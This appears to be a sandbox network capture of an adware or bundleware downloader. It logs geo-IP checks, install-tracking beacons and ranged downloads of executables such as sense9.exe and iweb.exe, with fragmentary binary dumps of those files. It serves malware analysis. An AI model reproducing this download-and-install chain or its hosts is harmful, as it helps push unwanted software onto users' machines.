Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:22 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET / HTTP/1.1
Host: VVV.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=48wtVY_wIIeBNO2vgJgD
Content-Length: 260
Date: Wed, 15 Apr 2015 02:28:51 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic,p=0.5
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=48wtVY_wIIeB
NO2vgJgD">here</A>...</BODY></HTML>....



GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:48 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Wed, 15
 Apr 2015 02:28:48 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.87 ms","message":"store 4 action and 0 upd
ate "}..0..



GET /css?family=Abel HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: fonts.googleapis.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/css
Timing-Allow-Origin: *
Expires: Wed, 15 Apr 2015 02:29:34 GMT
Date: Wed, 15 Apr 2015 02:29:34 GMT
Cache-Control: private, max-age=86400
Content-Length: 155
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alternate-Protocol: 80:quic,p=0.5
@font-face {.  font-family: 'Abel';.  font-style: normal;.  font-weigh
t: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq9
2S8_9w.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Timing-Allow-O
rigin: *..Expires: Wed, 15 Apr 2015 02:29:34 GMT..Date: Wed, 15 Apr 20
15 02:29:34 GMT..Cache-Control: private, max-age=86400..Content-Length
: 155..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X
-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:qu
ic,p=0.5..@font-face {.  font-family: 'Abel';.  font-style: normal;.  
font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2
a1878zysq92S8_9w.eot);.}...



GET /3428_92a5d683c188790231b1aa2af09de41e/2.pak HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: dlrkbt247pbk6.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 200 OK
Content-Type: binary/octet-stream
Content-Length: 2937235
Connection: keep-alive
Date: Tue, 14 Apr 2015 06:42:03 GMT
Last-Modified: Tue, 14 Apr 2015 06:11:55 GMT
ETag: "d21dc594ee6a1f67f742491ddce92ffa"
Accept-Ranges: bytes
Server: AmazonS3
Age: 71226
X-Cache: Hit from cloudfront
Via: 1.1 89ee17948ed155f28b7a87db8cd06fc3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: oi7pm1mIWWfXwarfjv3zTDHv-JUT1CSgxJwFQcq9OD6ple4uhPXshg==
................,.............474.db...W.=..V.......<..A#.<y....
\..-2...a7."....}.zx....(....N.J8...t.J.-Q..C$....G.!;Q`..%...D.>uZ
....s.L........* ...i.5A.`.....j._\.....e.M. ..}.....\[...............
2WbDWnyQPK..........bF]=..............wpm_v20.0.0.1953_0302.exe..S.nM.
...m....m..m..m..l..m.:.\...E....s{.*F.5j.......z.......T.C.t.f.,f..y.
^.a.....P.3.O^:.~L....(.......Z..,...R...xN......*g...2.._.i.y..A[7..K
%...W... Jn.ET.d3.8.A.Rpi>..E..}.......Eb.L/..../.Q.../..q.........
..[.VZ..4_..J.4.(...{..SQ....f....*.....1.}BO..........gD..?..|od...W.
.].6..a.E....*Rz...&...G.....5.dW ..nD7&..4C2......zb.Be..[....T(b...r
j..4X....g........u>Y..~..D!...5.Z...w.....w.[...N......M.........i
....l..3..."..W7.D.t.........Cv.r.-........N..1..B...<.......zI....
...G.F#Al...;..L..[.j.g.w._...~z.../......s...h]..R........K...1....v}
~..].....Rd]?a....#.".]r..-..x....Z...z|`.......x..)..4/...........N..
aQG...lq.4`..`....d>.....wGyf.q.RzN.....9,.t.Rr..=......M.%....l[&g
t;..Bt.<...D..G..S4.$s.g..... ...Y.N.h`..Y...3.5.m."..Pfc%j..$.....
R...J..i..x...?J.T.)L..@%......F9..L.#..`}7....q.%....sj.]. ...r.../z.
.Ff.<x-b.d..P..pE..l`k.?:n..Aq.....<..F.....^..r...7.b\....}.,$.
p)<..Q.....U.>.D.....@}4u.....N....#..A 4g2.uU.r}"......#X....d.
{.)..........R..m.DR.d.2.......o#....30O......(g(H.Aro...0.P....tt5.7@
W4;....BR.J1^Lf....H'..q...HMA..of.]w#..?..I..~>FL2.T.v:.&\..${.KB.
.....o.Z.R.&.<....Zf)...".D<...@_.....WE....*.[\.b..W._?.S{.x..,
....pP...qC\. ....zC....9:.Yc[a..^.~..%2...h...=a.h..Y...'ia;V..&.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 0-523295/523296
Content-Length: 523296
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
..................0...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /infv5/index/3428/bnd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: dqoup4b5zs0bi.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Date: Wed, 15 Apr 2015 02:28:20 GMT
Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak
Server: nginx
X-Cache: Miss from cloudfront
Via: 1.1 2c9a8baf70886f8c73eeac316fa1511b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: POjU33hYbyW5ASSfFA6sWWmeOwgRFrmKBW0w6yA0vE0gySM8p3TZUQ==
HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Wed, 15 Apr 2015 02:28:20 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543
c6323981d9/1.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 2c9a8baf70886f8c73eeac316fa1511b.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: POjU33hYbyW5ASSfFA6sWWmeOwgRFrmKBW0w6yA0vE0gySM8p3TZUQ==..



GET /31716.ashx?e=hXeqmv1IpelLnCMxb3UlHyvLfUo0CTVi7ZTHYXaLDVh4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7PaAg1gAvNqNaoPZj94HyTzprDiolRFccz/yeZN BbCCmF904v4t2DaVtcL0PMGkj3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:38 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:21 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Wed, 15
 Apr 2015 02:29:21 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:28 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2153
Content-Length: 250000
Content-Range: bytes 0-249999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064908.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@...........................
......./........ ..............................p.......0..8C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected].
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:28 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2153
Content-Length: 250000
Content-Range: bytes 250000-499999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064908.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
.D..y.....?'<./Z.g...... ..;..0."|p'..\.......6..V.........T*.e....
.w.F.6`R#..,..~.....t....../5F..;K..)...s..s{..f.....5.T....Fi........
...j.>..).]..0V.-............j.j.h....dQK.2X....X...{./..:. .9.5...
VL.........H..8..g.........s.....,....L9.H...H.A.c.o..K.....F..$K)....
..l..r.,[email protected]<....S....d.u.&.....m..6.Y....j3.p..]..l....3 .}..
z/........L.Yc.L&X..&A)...K....w#j.o....G(l..R%.0......)$M `T.W..En.&l
t;2..M.fk^/./ !....3..-.~..f.M..!....l>...RPB}...Q........w.<.r.
Q..i.....p.hA..F....N..OE2..7..m...).x[...@1.\&....x....=Vx.....V.u`or
j2...bK..u.P.$R7.=...!.h^..k..!}........-K'.{ }....2...g."r....GY..R..
Q..=..@0P;..k4.sN/.8.9..o.......Y...-.....e..]or..8(....;...0j....J...
@....g.*\E..H......!.....{..oD.J.sga.D.. ....;...>..........H..y,..
pj.N....kp.f...O....5|..2]....G6.0..!.6..W.$......'7..n...mG.......Yq.
V...m.!..yJH...6....\.ju..E|2.|x..2..j..)L........Ep.d..*.I..p.C 22E..
........%..wK...(......z$%|.=.G.,..x....8....N...o.B.b}>..E.FY5:...
..,k.t;k..K..m.E....7.|..).C...*s.......6^.........x..L....`.Xt.0G.P{.
2...8...!..(..q.W...,:....;..`.7/./..u|.......H.aB..L.V.1....H.wE..o..
I..^s......V...J...;W.%~...KF..|...7.O..-:..[...P..p..v.e.....AK..%..P
..8...v. ...n^M"..p..^....|..*.S.B#=.......L.H.{.g...Q....8y:R........
.../.v..(F2Z&,.>....E.......d...f...._.0.._..o=3.t..68=...{~..wW..D
[email protected]. ..Q.c.@^}[email protected]{.....{.[..K..uK
Hkl.rA%.......#..~.P%...._.ia....k(C.......\.e..^........:.~..7,...l..
..^!iP.f. .)Bfr,8..K:1XH..xh.4|..#..'m|.._^,........i9.(.iui.F.L..
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:28 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063025"
Last-Modified: Wed, 15 Apr 2015 01:57:05 GMT
Cache-Control: max-age=1722
Content-Length: 250000
Content-Range: bytes 500000-749999/10995037
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064908.cds023.fr7.c
Content-Disposition: attachment; filename="iweb.exe"
.O........$W[!...{.....E.|....mu}...|.N.?..F..m.l.e'c0>.%.|..mep..&
lt;...cU.ia..15...4E(.OW...........JY.8.,d........!N..8.(k...`.'......
!o....}....R$m.5=.....=.W..z.=...'._..1w...J.en.......5.U..2..6d}TC.f.
?7..S...=.[.........9X...........$...I......n.N..l...7..=....?).NE.a..
8sl...~..u.: [email protected]
<...o.T.......A..2..I.R..D3[...o.v..y.9Z\........{.D..y0...........
J..*...>=._7>...`......ri).$..r7..b........n....hs.........C....
.........c.N>.....X..{. .<(@.6k..{...1 ....`].....-.e...MjhV8...
!N$.....5.].\.8..-Qk......L'bm.......<.?....I.Yi...kvq...t.G....`..
...*rMk. ...R.b=yC.y......r`!?....f..*..m:.../..fl....<\$.p.s...)=.
|...[U.........^t..Ye..8..6q.......*<-<WU...v..C..I.........cw..
..OVt.R{=...D.v)..e....[.,G..."...3.m.V....av......r.{&EV.V...../o.N..
...I...u<).Dx24..3y#.h..Pl.../.y..d..F..>*..r..c....1../...N..m.
q3...d......r4.R.C.n....<.n...l?..AA.w..<.....=-Ug.(N..-..;..U@.
jkF.._.]"X|eHfE..[",..O..r..'V.#B!....g..U.Q....=..4...T..!&....`..at.
.0-.\2...JA..x.N7...#...g....\[email protected]...$.1qy..
.J...c ...DI...N5!..#YJ........|....b .5<..:.F...[....lH....q.c...X
q=....=?.I..u.c............xj...x.v..<..#....<98....!......&..W/
y.........KY.....*.O.<.....*..{F.{.5..5#].L. .;..".E.1g...'..'...|.
.R.7uV{.Q.hW....T.Q<......?...-....s....:.t Z.e))1!....B..~!q0.Eh..
.}jjk.....=..C`.....R.;...k...COb...4<R..R.g.#..E.U E\f.}'...S]..g~
u..M.j..z.V..3..Wd../....F.c.V.. ......m.D.M9..nBQ.=.L.$.h...,....
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



0.!.P..zgb.5k...4".Z.!..........K...\4.c........N..7.2..U...S....... h
r7..I........M..L.k..V..1...C....\........-.T...E[n...d.?.]G81-.......
.6.....B....M....]..Z.._..[_....X.....P.U. ...\..yS.\.T...=....-~..r;#
[.fQ...O....i.p...p...i0Qg&..I..n....r."..C9...R<V...1u.c.U.'.hDF..
o..T.9.5."..-...L.&2V1...1......^q.$........Q.0.\-......Z.>......TV
I..........N.A...|..1"D4....D....^\o.(...F....A..2"'.,....o?...DU....N
..M.f\...@.<.:.%..?......>[email protected].~.-\...).....L.\EY.^./...^C
.....$?c<X..=.c.}.P..Z....>..|.P...Y..qy$S...d...2\>r..1.....
.Tln>....`.e_&..2?..[i.r5"....D...n....=.._..Z.D....K..Gk..8`.w]..p
.>.......:....Hf.8.L...7.p.e...H.6.w.]Y...<.l.....u.M..R..p... _
.rl...C........].. l&.&pb...J.T..s.t...!...B..d.............".........
..b. ...&.'....aP.. .1....>...t..>[?i........X....M..WZ....Z8...
Z.3.....'fY ;a...1oG..q..b..A.MB/..B..... ..^.Pk{....U......'k...L9...
kqhU......"J.....s.....H..P...jL....N.Y..`.....-E.7p..K. ...G.........
.."...~....).....<moS...N$.0P...x!.~...D..$...~... (.$5. ....S.Ve.^
..EW...J.WeA..R6._..........<...f?[{...%Im.......J}}..&_..f#:..("..
.o1.W...E....ITC....h...f...7.r.......C.R..<....$.3T.C......|....3.
....L\J...b.......i...rU[aW.PE.[....M....._}...fc..e..|......xe..~....
..9M......W..te..[....m...sl?...Vf..B*....M....!.Pw%......oo..a.flx.tP
%....@...=}%*o/82HO4K.......@..[.......|.......%........c..$.'.w....*.
D,.5.._..M...;.'.LX. .r.<............^..I.T..6dW....._Ix...B..*.a..
.Sh...z.8{...,!d...A2\..o...pT......%.w.YlW...... 1v...}.%..^G....
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



.).o.".!S.xg.p..]....Pj.v...Ua....v........w...."*k...,RJ9.>..,.A 1
.BRB.f...]%F.GsH.....!....R.y...............{..O Q..U....X--A..i..V...
.3.R,"....3..#......x.K.8...."..n.d....)zM=.r...w.>......../.=.7^ .
.S]v......f...k.....vq1R>[email protected]..
d.}.C)...3..s...... [email protected];J.3.h.4.{........wh..E.....^iNT".|...u`.
......Iq.Z..]0...e.v...5..>.....t.{......D.R.F..y.....i{8...$.&d...
b..&_.....V.M.3lt..4.>..>.(."#eW4..,....).. .g.N.Agl....R...Z...
.<.r3`t`...!..1....niw.R~...mKl...ne.....L....}...G.L."U.t....).>
;..p.W...az..k..~.P....g..a..^.. ... ?..CR...ss... GOopHy.TLQ?.`......
.Fo.u..q.A...qo'I/........*".../..kI.....G>.X..W'Z.t....C.. ..uS.ZO
...'....'..U.Q...s.......fdl..C.G0.........k}...=\.........~W[.G.&d...
.b...l...... ......y}[......Y4..b(.f.m...B..xEG....$..q;.R9..]f.......
.M*....s...!o).=...@...]wm.7...02..[>.?.2.....$u..J...6..#(H &q....
k....mu..(.Y|.I..j4..W....L.x.h...m..D7T..4G.De...B.Y.1.jH......|.....
....Q}89.@U..........,..a.l.p1?..)...../.....A])8...alITlU.z..u.@e....
Q..../..&.L.<.4Zb.c.Jg.1....z.... D.~F..W1...S6:..`8B...>x.l.BW.
.T.e5y..gT{.`X..Y]..k..{.P..#.U.z..:.k..r.~.Nz........O......h.h.5z...
D...l......9...(.........|4.JB...........).....}.....` .=....W.. y]...
$.r........j.9.u.h?U .-...JK....:....A..uv.'z7@D`.....U.^.-..(..tt.N.n
....O.T..8W..j...j....0'Q.#[email protected].'..0Z..~..V...{$L.......
Qn....gM|. ....$!...Su...u.d$h.Bf.......3.x!SS..'..9......R......0,-..
[email protected].[@$..|........>f....7..)
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=5500000-5749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



...


GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=5750000-5999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:30 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2151
Content-Length: 250000
Content-Range: bytes 7500000-7749999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064910.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
.8x. ):=/...x.....<..8.......,`f.j..Y.0.c.....H7.9...X.D....B.N....
#.......H.6f.ZE....i.|.}n....w..d...D..V...3Y.-Tk...J.....gd}~.... ...
.(....g..Cf.#..E.6..y.....n..S...D*o/J7.J.x.....B.).j........?..~.....
p...=.......C*s..f....cV....q...,W....^[.NB..a........m....L.5..n.~..7
[email protected])..-|)@......:5..i6%...."jR..aP._.x....R..4)].Ok.)....f
.._.=.N.." ..."'.]..... ..?.d."..{@#. !r..L^..1.N...h.$ ....O...aT..x.
.KR.....'.7......So..........1....T..z..gg'...}.L....S...ND.d.9...i.:t
]W....9..sh.m.M..$..F.."...taV...#...fB6.......I.U.......f..3....dyC%.
..p........t..&.'..QCF..;..m..Me..Wa..$#}..?2.....U.....HB._...jP..C.#
....U......<...l...?...r...7...?. ........8..8....z..r....B......L.
..T/.@.{..*5..n..=a.n}....[.t.yM.W.........h.......-....W......s..m.:.
.?MBq..b..?vo!=....z..<.......e=R[Y....e......_].n.xde......]7,q.t|
M..)......x.t..\.D.`@h.6.H.pv(...z.....Y..."t9.0........".s...... 1...
q$.N.....~..Z~.$!......G...i/.....E@w?.9...Hr......-.B...2...o...O>
.*[email protected].....`2.d).F..v....k.k:<-.2...|}..D..N.-
 ...oh...kr.X8Y...k...z....<39.s7Y.......n.auA..U.....7/.........fx
]...[8/W.9...........U2..FRL<v......[.^8.$.]V......5/j..J....b....T
..Tn.lr!.F..>.:.".xa .!n"b$..}.._.=..r~.A..wSX.....>..B.kf.#n.;.
l...<[email protected].\\[email protected]......&l
t;.;.s.0u....J.:..4..n."~...]..?N0>X=..n!N..?&rql*.9.j8..M.Sw0...."
....\.4.c.T.R~...T...g..'..}.s.G.n.. 7<.....Z..y..N....hZ...."Xf.,L
..:..;......FLD$!..bg..D'Vz.9$..ee&.....O.h.(......O...%..O...H.}.
<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1


Range: bytes=8750000-8999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1
Range: bytes=9250000-9499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:31 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429063455"
Last-Modified: Wed, 15 Apr 2015 02:04:15 GMT
Cache-Control: max-age=2150
Content-Length: 250000
Content-Range: bytes 8750000-8999999/10994788
Content-Type: application/x-msdownload
X-HW: 1429064909.dop012.fr7.t,1429064911.cds023.fr7.c
Content-Disposition: attachment; filename="sense9.exe"
..CN..U..{b79.].....H)....o3...VA..R.v..".)...KJX.Wr...........{..F ..
.6........./w....?c.!F9...~......l.....h._6Zc.q.'x...G..b..7..q..,..&l
t;..Q.....os-i.&.....~E....r_....[[.F...G..%...L....o..4.......}.qHQ..
!.>b1....i...9......,c.z>$d...TC...L. ...'.......G9..1........X.
./..._Ce...].RA.....pl._..t..mfttQ...\%..U.4#o.j\.5..B.DAI|.J.[k...\..
.8.|".E.R.....p.a.%.z....r.[{........&....n)......\.....:.`.z...Tn...\
...!.x....Z..g.(..ea....O1...0..K.#.L.W......T.. [email protected]]...
..Z...itg...w..r\.{.ydD.jed4.{2.0.5Y.%M.}.0e.ca...KIp.H.s...k2*.R0{...
...t .]@..pV.g.Sz.?.....%I...q5b.>Q...............R.........Oz.h..G
...lHp...#.S..}.kD9.,.....*P.....RM....>.(..""[email protected]
"..1>3..l...&....I.\t.0O...tf.2..E.#../........5.7pY....~{F0....u..
.5...0........O..P........#"....1..R.....XK...`...6..#.-...(U.._.U.$f|
.~.M....|.T).#.0...n|.F..S0X....2..$. .6A.h.or..9.Hr..P..m9...T.&x.6S.
.[..*..........k.zq....S.*2.X.g.uo...>.>L....xEM.......2...y3:.l
...\9.._...p..'cPl.M..-/.p.am...1....#ae. 1r...... ..[.2I......1.LU..I
p....=s.. ....../F..f.1.d.\..N.~{m6..*.Dc.7..iBg...c.1: ..8..F..M..~".
)....D......G...~..x........u....r7....[...w.[...>...s.)..A..6...\$
